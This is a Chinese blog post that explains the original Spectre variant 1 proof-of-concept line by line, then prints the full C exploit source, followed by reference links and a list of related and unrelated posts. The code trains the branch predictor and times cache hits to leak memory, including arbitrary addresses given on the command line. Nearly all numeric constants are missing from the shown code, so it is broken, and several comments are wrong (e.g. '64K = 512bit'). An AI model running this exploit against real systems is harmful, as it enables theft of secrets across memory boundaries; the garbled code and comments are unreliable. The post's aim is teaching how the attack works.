上面一篇介绍了spectre&meltdown基本原理和简单的demo方案,今天继续学习一下该漏洞发现团队原始的POC:https://spectreattack.com/spectre.pdf

  1、先展示一下运行结果,便于有个直观的认识:从打印的结果来看,成功猜测出了secret字符串的内容;

  

  2、下面详细解读代码

(1)整个漏洞利用核心的两个函数:rdtscp和clflush都在这两个头文件里申明了;

#ifdef _MSC_VER
#include <intrin.h> /* for rdtscp and clflush */
#pragma optimize("gt", on)
#else
#include <x86intrin.h> /* for rdtscp and clflush */
#endif

  (2)array1:attacker用来访问victim的数组。这里申明了160字节,但后续会用很大的数跨越数组定义时的边界限制,达到访问victim内存的目的

unuesed1和unused2:多核cpu,每个核都有各自的L1和L2缓存;缓存以line作为基本的单元,每个cache line有64字节;unuesed1和unuesed2刚好填满2个cache line,array1占用3个cache line;

这3个数组一共占用5个不同的cache line;

      array2:secret每个单位是1byte,大小不超过255,所以“横坐标”最大256;  每个cache line是64byte(最小缓存单元),也就是512bit,所以“纵坐标”是512;

uint8_t unused1[];//useful to ensure we hit different cache lines,On many processors (e.g Intel i3, i5, i7, ARM Cortex A53, etc) the L1 cache has 64 bytes per line.
uint8_t array1[] = { ,,,,,,,,,,,,,,, };//a shared memory space between the victim and the attacker
uint8_t unused2[];//useful to ensure we hit different cache lines,On many processors (e.g Intel i3, i5, i7, ARM Cortex A53, etc) the L1 cache has 64 bytes per line.
uint8_t array2[ * ];//(1)secret每个单位1字节,数字大小不超过255;(2)L1的单个cache line大小64K = 512bit,这里可存储256个不同的cache line (3)shared with the attacker and victim

                   

  (3)这个是victim的数据,也就是需要爆破的数据;

char* secret = "The Magic Words are Squeamish Ossifrage.";//known only to the victim, and it's what the attacker is trying to recover

  (4)通过array1申明的长度是160,但后面某些时候会传入远大于160的数,越界访问secret的内容后存入缓存。后面即使if条件不成立,cpu回退寄存器的状态,但是的缓存仍然还在

uint8_t temp = ; /* ensure the compiler does not remove the victim_function() at compilation time*/
// In reality, the victim and the attacker would share a memory space and the attacker would have the ability to call victim_function()
void victim_function(size_t x)
{
if (x < array1_size)//array1_size不在缓存,需要从内存读,很耗时,cpu先行执行下面的语句
{
temp &= array2[array1[x] * ];//array1长度是160,但x可以远超160,比如main里面定义malicious_x,这样就进入secret的存储空间
}
}

  (5)判断cache是否命中的阈值,这个值是多次实验得到的,不是理论推导出来的;

#define CACHE_HIT_THRESHOLD (80) /* assume cache hit if time <= threshold:80是多次实验测试得到的,不是某些理论推导出来的 */

  (6)保存缓存是否命中结果

for (i = ; i < ; i++)
results[i] = ;

  (7)array2每个元素如果已经在cpu的缓存,全部清除,避免影响后续计时;

for (i = ; i < ; i++)//每个元素的缓存都清零
_mm_clflush(&array2[i * ]); /* intrinsic for clflush instruction */

  (8)把array1_size从cpu缓存去除;紧接着的这个空转为了确保array1_size的从cpu缓存清除;

 _mm_clflush(&array1_size);//array1_size从缓存去除
for (volatile int z = ; z < ; z++)//ensure the flush is done, and the processor does not re-order it;volatile强制cpu从内存读取Z的值,否则这个空转可能被编译器优化
{/* Delay (can also mfence),也可以用 mfence 替代*/
}

  (9)这里计算array1的偏移坐标,方法很复杂,单看代码很难理解为啥这么做,不妨先打印一些结果数据看看:

x = ((j % ) - ) & ~0xFFFF; /* Set x=FFF.FF0000 if j%6==0, else x=0 */
x = (x | (x >> )); /* Set x=-1 if j%6=0, else x=0 */
x = training_x ^ (x & (malicious_x ^ training_x));
    构造的x如下:很有规律,每6次一个轮回;每个轮回前5次的x都是7,在arry1_size的范围内,if条件是成立的;最后一个远大于arry1_size,导致if条件失效;但CPU有分支预测功能,会根据该
if分支附近或前面几个分支预测下一个if分支是否成立。前面5个分支都是成立的,会“诱导”cpu认为第6次if也成立,进而提前执行temp &= array2[array1[x] * 512]的代码,把victim的内存读到cpu
内部缓存; 然后就是执行victim_funtion();
j=23 tries=999 malicious_x=18446744073707453224 training_x=7 x=7
j=22 tries=999 malicious_x=18446744073707453224 training_x=7 x=7
j=21 tries=999 malicious_x=18446744073707453224 training_x=7 x=7
j=20 tries=999 malicious_x=18446744073707453224 training_x=7 x=7
j=19 tries=999 malicious_x=18446744073707453224 training_x=7 x=7
j=18 tries=999 malicious_x=18446744073707453224 training_x=7 x=18446744073707453224
j=17 tries=999 malicious_x=18446744073707453224 training_x=7 x=7
j=16 tries=999 malicious_x=18446744073707453224 training_x=7 x=7
j=15 tries=999 malicious_x=18446744073707453224 training_x=7 x=7
j=14 tries=999 malicious_x=18446744073707453224 training_x=7 x=7
j=13 tries=999 malicious_x=18446744073707453224 training_x=7 x=7
j=12 tries=999 malicious_x=18446744073707453224 training_x=7 x=18446744073707453224

  (10)victim_function执行完后,重新从array2读数据,并计时;耗时最短的说明在victim中存的就是这个;

/* Time reads. Order is lightly mixed up to prevent stride prediction */
for (i = ; i < ; i++)
{
mix_i = ((i * ) + ) & ;//1、打乱读取byte的顺序,避免cpu猜测和优化byte的读取 2、&255=&FF,只保留低8bit,效果相当于%255(小于255)或%255-1(大于255)
addr = &array2[mix_i * ];
time1 = __rdtscp(&junk); /* READ TIMER */
junk = *addr; /* MEMORY ACCESS TO TIME */
time2 = __rdtscp(&junk) - time1; /* READ TIMER & COMPUTE ELAPSED TIME */
if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1[tries % array1_size])
results[mix_i]++; /* cache hit - add +1 to score for this value */
}

  (11)接下来就是排序,找出耗时最短的2个数字;

/* Locate highest & second-highest results results tallies in j/k */
j = k = -;
for (i = ; i < ; i++)
{
if (j < || results[i] >= results[j])
{
k = j;
j = i;
}
else if (k < || results[i] >= results[k])
{
k = i;
}
}
if (results[j] >= ( * results[k] + ) || (results[j] == && results[k] == ))
break; /* Clear success if best is > 2*runner-up + 5 or 2/0) */
}
results[] ^= junk; /* use junk so code above won't get optimized out*/
value[] = (uint8_t)j;
score[] = results[j];
value[] = (uint8_t)k;
score[] = results[k];

  (12)继续看main:这个就是从arry1到目标内存的offset:

size_t malicious_x = (size_t)(secret - (char*)array1); 

       紧接着会传入readMemoryByte函数去探测读取内容:

printf("Reading at malicious_x = %p... ", (void*)malicious_x);
readMemoryByte(malicious_x++, value, score);

  (13)和https://www.cnblogs.com/theseventhson/p/13282921.html 这个POC比,这个demo多了两个功能:

  •  训(诱)练(导)cpu的分支预测结果,让其认为下一个if条件是成立的,提前执行if分支
  • 不仅仅能探测secret内容,还能让用户指定需要探测的目标地址和探测的数据长度,如下:
    if (argc == )//第一个参数是目标地址,第二个参数是读取的字节数;
{
sscanf_s(argv[], "%p", (void**)(&malicious_x));
malicious_x -= (size_t)array1; /* Convert input value into a pointer;*/
sscanf_s(argv[], "%d", &len);
printf("Trying malicious_x = %p, len = %d\n", (void*)malicious_x, len);
}

完整的代码如下(精华都在注释了):

#include <stdio.h>
#include <stdint.h>
#include <string.h>
#ifdef _MSC_VER
#include <intrin.h> /* for rdtscp and clflush */
#pragma optimize("gt", on)
#else
#include <x86intrin.h> /* for rdtscp and clflush */
#endif /* sscanf_s only works in MSVC. sscanf should work with other compilers */
#ifndef _MSC_VER
#define sscanf_s sscanf
#endif /********************************************************************
Victim code.
********************************************************************/;
unsigned int array1_size = ;
uint8_t unused1[];//useful to ensure we hit different cache lines,On many processors (e.g Intel i3, i5, i7, ARM Cortex A53, etc) the L1 cache has 64 bytes per line.
uint8_t array1[] = { ,,,,,,,,,,,,,,, };//a shared memory space between the victim and the attacker
uint8_t unused2[];//useful to ensure we hit different cache lines,On many processors (e.g Intel i3, i5, i7, ARM Cortex A53, etc) the L1 cache has 64 bytes per line.
uint8_t array2[ * ];//(1)secret每个单位1字节,数字大小不超过255;(2)L3的单个cache line大小64K = 512bit,这里可存储256个不同的cache line (3)shared with the attacker and victim char* secret = "The Magic Words are Squeamish Ossifrage.";//known only to the victim, and it's what the attacker is trying to recover uint8_t temp = ; /* ensure the compiler does not remove the victim_function() at compilation time*/
// In reality, the victim and the attacker would share a memory space and the attacker would have the ability to call victim_function()
void victim_function(size_t x)
{
if (x < array1_size)//array1_size不在缓存,需要从内存读,很耗时,cpu先行执行下面的语句
{
temp &= array2[array1[x] * ];//array1长度是160,但x可以远超160,比如main里面定义malicious_x,这样就进入secret的存储空间
}
} /********************************************************************
Analysis code
********************************************************************/
#define CACHE_HIT_THRESHOLD (80) /* assume cache hit if time <= threshold:80是多次实验测试得到的,不是某些理论推导出来的 */ /* Report best guess in value[0] and runner-up in value[1] */
void readMemoryByte(size_t malicious_x, uint8_t value[], int score[])
{
static int results[];//内存单元读取的时间
int tries, i, j, k, mix_i;
unsigned int junk = ;
size_t training_x, x;
register uint64_t time1, time2;
volatile uint8_t* addr; for (i = ; i < ; i++)
results[i] = ;
for (tries = ; tries > ; tries--)
{
/* Flush array2[256*(0..255)] from cache */
for (i = ; i < ; i++)//每个元素的缓存都清零
_mm_clflush(&array2[i * ]); /* intrinsic for clflush instruction */ /* 30 loops: 5 training runs (x=training_x) per attack run (x=malicious_x) */
training_x = tries % array1_size;//training_x = 0~15
for (j = ; j >= ; j--)
{
_mm_clflush(&array1_size);//array1_size从缓存去除
for (volatile int z = ; z < ; z++)//ensure the flush is done, and the processor does not re-order it;volatile强制cpu从内存读取Z的值,否则这个空转可能被编译器优化
{/* Delay (can also mfence),也可以用 mfence 替代*/
}
/*每循环6次,其中5次产生较小的x,让if条件成立;第6次产生超大、让if不成立的x,但由于前5次的x都成立,cpu还是会预先执行if分支。前面5次小x就是用来训练cpu分支预测的,以达到第6次“欺骗”的目的*/
/* Bit twiddling to set x=training_x if j%6!=0 or malicious_x if j%6==0 */
/* Avoid jumps in case those tip off the branch predictor */
x = ((j % ) - ) & ~0xFFFF; /* Set x=FFF.FF0000 if j%6==0, else x=0 */
x = (x | (x >> )); /* Set x=-1 if j%6=0, else x=0 */
x = training_x ^ (x & (malicious_x ^ training_x)); /* Call the victim! */
victim_function(x);//x是相对arry1的偏移,可以深入secret数组探查;
} /* Time reads. Order is lightly mixed up to prevent stride prediction */
for (i = ; i < ; i++)
{
mix_i = ((i * ) + ) & ;//1、打乱读取byte的顺序,避免cpu猜测和优化byte的读取 2、&255=&FF,只保留低8bit,效果相当于%255(小于255)或%255-1(大于255)
addr = &array2[mix_i * ];
time1 = __rdtscp(&junk); /* READ TIMER */
junk = *addr; /* MEMORY ACCESS TO TIME */
time2 = __rdtscp(&junk) - time1; /* READ TIMER & COMPUTE ELAPSED TIME */
if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1[tries % array1_size])
results[mix_i]++; /* cache hit - add +1 to score for this value */
} /* Locate highest & second-highest results results tallies in j/k */
j = k = -;
for (i = ; i < ; i++)
{
if (j < || results[i] >= results[j])
{
k = j;
j = i;
}
else if (k < || results[i] >= results[k])
{
k = i;
}
}
if (results[j] >= ( * results[k] + ) || (results[j] == && results[k] == ))
break; /* Clear success if best is > 2*runner-up + 5 or 2/0) */
}
results[] ^= junk; /* use junk so code above won't get optimized out*/
value[] = (uint8_t)j;
score[] = results[j];
value[] = (uint8_t)k;
score[] = results[k];
} int main(int argc, const char** argv)
{
printf("Putting '%s' in memory, address %p\n", secret, (void*)(secret));
size_t malicious_x = (size_t)(secret - (char*)array1); /* default for malicious_x,array1到secret的距离,包括array2[256 * 512]、unused2[64]、array1[160] */
int score[], len = strlen(secret);
uint8_t value[]; for (size_t i = ; i < sizeof(array2); i++)//array2[256 * 512]
array2[i] = ; /* write to array2 so in RAM not copy-on-write zero pages */
if (argc == )//第一个参数是目标地址,第二个参数是读取的字节数;
{
sscanf_s(argv[], "%p", (void**)(&malicious_x));
malicious_x -= (size_t)array1; /* Convert input value into a pointer;*/
sscanf_s(argv[], "%d", &len);
printf("Trying malicious_x = %p, len = %d\n", (void*)malicious_x, len);
} printf("Reading %d bytes:\n", len);
while (--len >= )
{
printf("Reading at malicious_x = %p... ", (void*)malicious_x);
readMemoryByte(malicious_x++, value, score);
printf("%s: ", (score[] >= * score[] ? "Success" : "Unclear"));
printf("0x%02X='%c' score=%d ", value[],
(value[] > && value[] < ? value[] : '?'), score[]);
if (score[] > )
printf("(second best: 0x%02X='%c' score=%d)", value[],
(value[] > && value[] < ? value[] : '?'),
score[]);
printf("\n");
}
#ifdef _MSC_VER
printf("Press ENTER to exit\n");
getchar(); /* Pause Windows console */
#endif
return ();
}

参考:https://www.fortinet.com/blog/threat-research/into-the-implementation-of-spectre 代码解读

https://bbs.pediy.com/thread-254288.htm     https://xz.aliyun.com/t/6332  跨进程泄露敏感信息

https://bbs.pediy.com/thread-256190.htm  Intel处理器L3 Cache侧信道分析研究

intel:spectre&Meltdown侧信道攻击(二)的更多相关文章

  1. intel:spectre&Meltdown侧信道攻击(一)

    只要平时对安全领域感兴趣的读者肯定都听过spectre&Meltdown侧信道攻击,今天简单介绍一下这种攻击的原理( https://www.bilibili.com/video/av1814 ...

  2. intel:spectre&Meltdown侧信道攻击(三)—— raw hammer

    今天介绍raw hammer攻击的原理:这次有点“标题党”了.事实上,raw hammer是基于DRAM内存的攻击:所以理论上,只要是用了DRAM内存的设备,不论是什么cpu(intel.amd,或则 ...

  3. intel:spectre&Meltdown侧信道攻击(四)—— cache mapping

    前面简单介绍了row hammer攻击的原理和方法,为了更好理解这种底层硬件类攻击,今天介绍一下cpu的cache mapping: 众所周知,cpu从内存读数据,最开始用的是虚拟地址,需要通过分页机 ...

  4. intel:spectre&Meltdown侧信道攻击(五)—— DRAM address mapping

    前面介绍了row hammer,理论上很完美,实际操作的时候会面临很尴尬的问题:内存存储数据最小的单位是cell(就是个电容,充电是1,放电是0),无数个横着的cell组成row,无数个竖着的cell ...

  5. 第四十三个知识点:为AES描述一些基础的(可能无效)的对抗侧信道攻击的防御

    第四十三个知识点:为AES描述一些基础的(可能无效)的对抗侧信道攻击的防御 原文地址:http://bristolcrypto.blogspot.com/2015/07/52-things-numbe ...

  6. 第四十五个知识点:描述一些对抗RSA侧信道攻击的基础防御方法

    第四十五个知识点:描述一些对抗RSA侧信道攻击的基础防御方法 原文地址:http://bristolcrypto.blogspot.com/2015/08/52-things-number-45-de ...

  7. 侧信道攻击,从喊666到入门之——Unicorn的环境构建

    作者:backahasten 发表于小米安全中心微信公众号 0x00 前言 Unicorn可以模拟多种指令集的代码,在很多安全研究领域有很强大的作用,但是由于需要从头自己布置栈空间,代码段等虚拟执行环 ...

  8. 嵌入式 -- WINKHUB 边信道攻击 (NAND Glitch)

    0x00 前言 随着物联网IOT的飞速发展,各类嵌入式设备, 路由器安全研究也越来越火. 但因为跟以往纯软件安全研究的要求不同, 这类研究往往需要结合相应的硬件知识. 很多朋友困惑如何开始, 甚至卡在 ...

  9. ORW-测信道攻击

    做SCTF时碰到一个没看过的题型,比赛结束之后才知道是orw的一个玩法,测信道攻击.主要特点就是只给使用open,read,但是不给write,即无法把flag输出到终端.这里可以通过把flag读到栈 ...

随机推荐

  1. SCOI 2016 萌萌哒

    SCOI 2016 萌萌哒 solution 有点线段树的味道,但是并不是用线段树来做,而是用到另外一个区间修改和查询的利器--ST表 我们可以将一个点拆成\(logN\)个点,分别代表从点\(i\) ...

  2. Kail安装VMtools

    0x00 前言 之前用吾爱的xp虚拟机,总是装不上vmtools,真是难受.每次跨机器粘贴复制都一件极其痛苦的事,而且虚拟机还不能直接浏览硬盘上的文件.虽说安全性保证了,但是这是真的痛苦.这两天开始用 ...

  3. Django---进阶6

    目录 聚合查询 分组查询 F与Q查询 django中如何开启事务 orm中常用字段及参数 数据库查询优化 图书管理系统 作业 聚合查询 # 聚合查询 aggregate ""&qu ...

  4. Vue防止按钮重复提交

    参考了:https://www.cnblogs.com/adbg/p/11271237.html 方法:使用全局指令的方式. 一.新建指令 1.我们首先新建一个js文件,例如起名为plugins.js ...

  5. MyBatis源码分析(二)

    MyBatis的xml配置(核心配置) configuration(配置) properties(属性) settings(设置) typeAliases(类型别名) typeHandlers(类型处 ...

  6. Node js 入门指南(1)

    目录 Node Js 定义 特点 Node使用方式 Tip: 使用导出文件的注意事项 Node 内置模块 http 模块 定义 使用方法 fs 模块 定义 使用方法 读取文件方式 同步读取 异步读取 ...

  7. python-----内存管理机制

    一.深浅拷贝的区别 深浅拷贝一般是在列表嵌套列表的情况下去讨论 浅拷贝:只拷贝列表中对象的引用,嵌套列表中的数据是不会进行全部拷贝的 深拷贝:会把对象里面所有的数据都拷贝一份,不再只拷贝对象的引用,会 ...

  8. Django之 Views组件

    本节内容 路由系统 models模型 admin views视图 template模板 我们已经学过了基本的view写法 单纯返回字符串 1 2 3 4 5 6 7 8 def current_dat ...

  9. 谈谈JVM(基础模型)

    一,基本概念      JVM是可运行Java代码的假想计算机 ,包括一套字节码指令集.一组寄存器.一个栈. 一个垃圾回收,堆 和 一个存储方法域.     JVM 是运行在操作系统之上的,它与硬件没 ...

  10. 有效提高java编程安全性的12条黄金法则

    安全性是软件开发中最复杂,最广泛和最重要的考量之一.Java是具有许多内置安全性功能的开发平台,java在长期的发展过程中,已经经过了很多高强度的安全测试,并经常更新安全漏洞.并且Java生态系统还包 ...